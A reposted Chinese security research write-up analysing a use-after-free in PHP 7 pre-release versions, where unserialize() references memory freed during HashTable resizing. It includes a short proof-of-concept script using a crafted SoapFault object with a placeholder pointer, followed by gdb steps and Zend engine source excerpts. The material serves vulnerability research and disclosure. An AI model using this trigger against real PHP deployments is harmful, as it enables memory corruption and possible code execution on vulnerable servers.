转载

PHP 7 ZEND_HASH_IF_FULL_DO_RESIZE Use After Free 漏洞分析

PHP 7 ZEND_HASH_IF_FULL_DO_RESIZE Use After Free 漏洞分析

知道创宇安全研究团队  niubl: 2015.8.18

1. PHP介绍

PHP(外文名: Hypertext Preprocessor,中文名:“超文本预处理器”)是一种通用开源脚本语言。

PHP语法吸收了C语言、Java和Perl的特点,易于学习,使用广泛,主要适用于Web开发领域。PHP 独特的语法混合了C、Java、Perl以及PHP自创的语法。它可以比CGI或者Perl更快速地执行动态网页。用PHP做出的动态页面与其他的编程语言相比,PHP是将程序嵌入到HTML(标准通用标记语言下的一个应用)文档中去执行,执行效率比完全生成HTML标记的CGI要高许多;PHP还可以执行编译后代码,编译可以达到加密和优化代码运行,使代码运行更快。

2. 漏洞简介

PHP反序列化函数unserialize在反序列化字符串时,对于R或r类型引用,如果引用的是已经释放掉的变量,则有可能导致Use After Free漏洞。在PHP的众多漏洞中, http://www.cvedetails.com/vulnerability-list/vendor_id-74/PHP.html ,很多都是unserialize函数引发的问题。之前有Stefan Esser介绍关于PHP unserialize RCE的演讲( http://www.slideshare.net/i0n1c/syscan-singapore-2010-returning-into-the-phpinterpreter ),也有Tim Michaud关于PHP unserialize RCE的文章( http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html ),这是个有趣的漏洞。

在本文中,主要介绍PHP 7 在ZEND_HASH_IF_FULL_DO_RESIZE 时引发的Use After Free漏洞,当反序列化字符串时,如果HashTable哈希表中使用的元素个数超过哈希表本身的容量,就会重新申请一块更大的内存放置元素,并释放掉之前使用过的内存,然而这时R或r引用引用了释放掉的内存,造成Use After Free漏洞。

3. 影响版本

  • php-7.0.0alpha1
  • php-7.0.0alpha2
  • php-7.0.0beta1
  • php-7.0.0beta2
  • php-7.0.0beta3

4. 漏洞POC

PHP

<?php  $addr = 0x4141414141414141;  $sf = new SoapFault('1', 'knownsec1', 'knownsec2', 'knownsec3','knownsec4', str_repeat("A",232).ptr2str($addr)); $ob = unserialize("a:2:{i:0;".serialize($sf).'i:1;r:10;}'); //var_dump($ob);  function ptr2str($ptr) {     $out = "";     for ($i=0; $i<8; $i++) {         $out .= chr($ptr & 0xff);         $ptr >>= 8;     }     return $out; }  ?>

5. 漏洞分析

gdb载入编译好的php文件

ZSH

gdb ./sapi/cli/php

在文件var_unserialize.c 375行下断点

ZSH

b var_unserialize.c : 375

上面的断点中加入命令打印数据

ZSH

command 1 print *(var_entries *)var_hash ->first printzv 0x7ffff685ba20 end

运行poc.php

ZSH

r ./poc.php

断下后输入c继续运行一次,显示如下

PHP 7 ZEND_HASH_IF_FULL_DO_RESIZE Use After Free 漏洞分析

上图中可以看到var_hash中的SoapFault结构第8个字段faultstring指向的0x7ffff685c000内存地址,由于HashTable哈希表初始容量最小为8,而SoapFault有13个元素,所以这个时候需要增加容量,这个是在zend_hash_add_new()函数中判断的,zend_hash_add_new()函数调用的_zend_hash_add_new()函数,_zend_hash_add_new()函数调用_zend_hash_add_or_update_i函数,_zend_hash_add_or_update_i函数代码如下:

C

static zend_always_inline zval *_zend_hash_add_or_update_i(HashTable *ht, zend_string *key, zval *pData, uint32_t flag ZEND_FILE_LINE_DC) {  zend_ulong h;  uint32_t nIndex;  uint32_t idx;  Bucket *p;   IS_CONSISTENT(ht);  HT_ASSERT(GC_REFCOUNT(ht) == 1);   if (UNEXPECTED(!(ht->u.flags & HASH_FLAG_INITIALIZED))) {   CHECK_INIT(ht, 0);   goto add_to_hash;  } else if (ht->u.flags & HASH_FLAG_PACKED) {   zend_hash_packed_to_hash(ht);  } else if ((flag & HASH_ADD_NEW) == 0) {   p = zend_hash_find_bucket(ht, key);    if (p) {    zval *data;     if (flag & HASH_ADD) {     return NULL;    }    ZEND_ASSERT(&p->val != pData);    data = &p->val;    if ((flag & HASH_UPDATE_INDIRECT) && Z_TYPE_P(data) == IS_INDIRECT) {     data = Z_INDIRECT_P(data);    }    HANDLE_BLOCK_INTERRUPTIONS();    if (ht->pDestructor) {     ht->pDestructor(data);    }    ZVAL_COPY_VALUE(data, pData);    HANDLE_UNBLOCK_INTERRUPTIONS();    return data;   }  }   ZEND_HASH_IF_FULL_DO_RESIZE(ht);  /* If the Hash table is full, resize it */  add_to_hash:  HANDLE_BLOCK_INTERRUPTIONS();  idx = ht->nNumUsed++;

上面的代码中调用了ZEND_HASH_IF_FULL_DO_RESIZE()函数,判断HashTable哈希表是否增加容量,她是个宏语句,最终调用zend_hash_do_resize()函数

C

#define ZEND_HASH_IF_FULL_DO_RESIZE(ht)    /  if ((ht)->nNumUsed >= (ht)->nTableSize) {  /   zend_hash_do_resize(ht);     /  }

zend_hash_do_resize函数:

C

static void ZEND_FASTCALL zend_hash_do_resize(HashTable *ht) {   IS_CONSISTENT(ht);  HT_ASSERT(GC_REFCOUNT(ht) == 1);   if (ht->nNumUsed > ht->nNumOfElements + (ht->nNumOfElements >> 5)) { /* additional term is there to amortize the cost of compaction */   HANDLE_BLOCK_INTERRUPTIONS();   zend_hash_rehash(ht);   HANDLE_UNBLOCK_INTERRUPTIONS();  } else if (ht->nTableSize < HT_MAX_SIZE) { /* Let's double the table size */   void *old_data = HT_GET_DATA_ADDR(ht);   Bucket *old_buckets = ht->arData;    HANDLE_BLOCK_INTERRUPTIONS();   ht->nTableSize += ht->nTableSize;   ht->nTableMask = -ht->nTableSize;   HT_SET_DATA_ADDR(ht, pemalloc(HT_SIZE(ht), ht->u.flags & HASH_FLAG_PERSISTENT));   memcpy(ht->arData, old_buckets, sizeof(Bucket) * ht->nNumUsed);   pefree(old_data, ht->u.flags & HASH_FLAG_PERSISTENT);   zend_hash_rehash(ht);   HANDLE_UNBLOCK_INTERRUPTIONS();  } else {   zend_error_noreturn(E_ERROR, "Possible integer overflow in memory allocation (%zu * %zu + %zu)", ht->nTableSize * 2, sizeof(Bucket) + sizeof(uint32_t), sizeof(Bucket));  } }

在zend_hash_do_resize代码中可以看到,代码调用了memcpy把旧的数据拷贝到新的内存地址去,并且释放掉旧的内存地址:

C

memcpy(ht->arData, old_buckets, sizeof(Bucket) * ht->nNumUsed); pefree(old_data, ht->u.flags & HASH_FLAG_PERSISTENT);

然而我们再次在gdb中按c继续运行,再断下,观测var_hash结构:

PHP 7 ZEND_HASH_IF_FULL_DO_RESIZE Use After Free 漏洞分析

可以发现faultstring指向的地址发生了变化,0x7ffff68613a0,这是由于HashTable哈希表增加容量造成的,然而在var_hash结构中,faultstring之前指向的地址0x7ffff685c000仍然在,她已经被释放掉了,这时如果有R或r引用该地址,即会造成Use After Free漏洞,POC构造如上所示。

正文到此结束
Loading...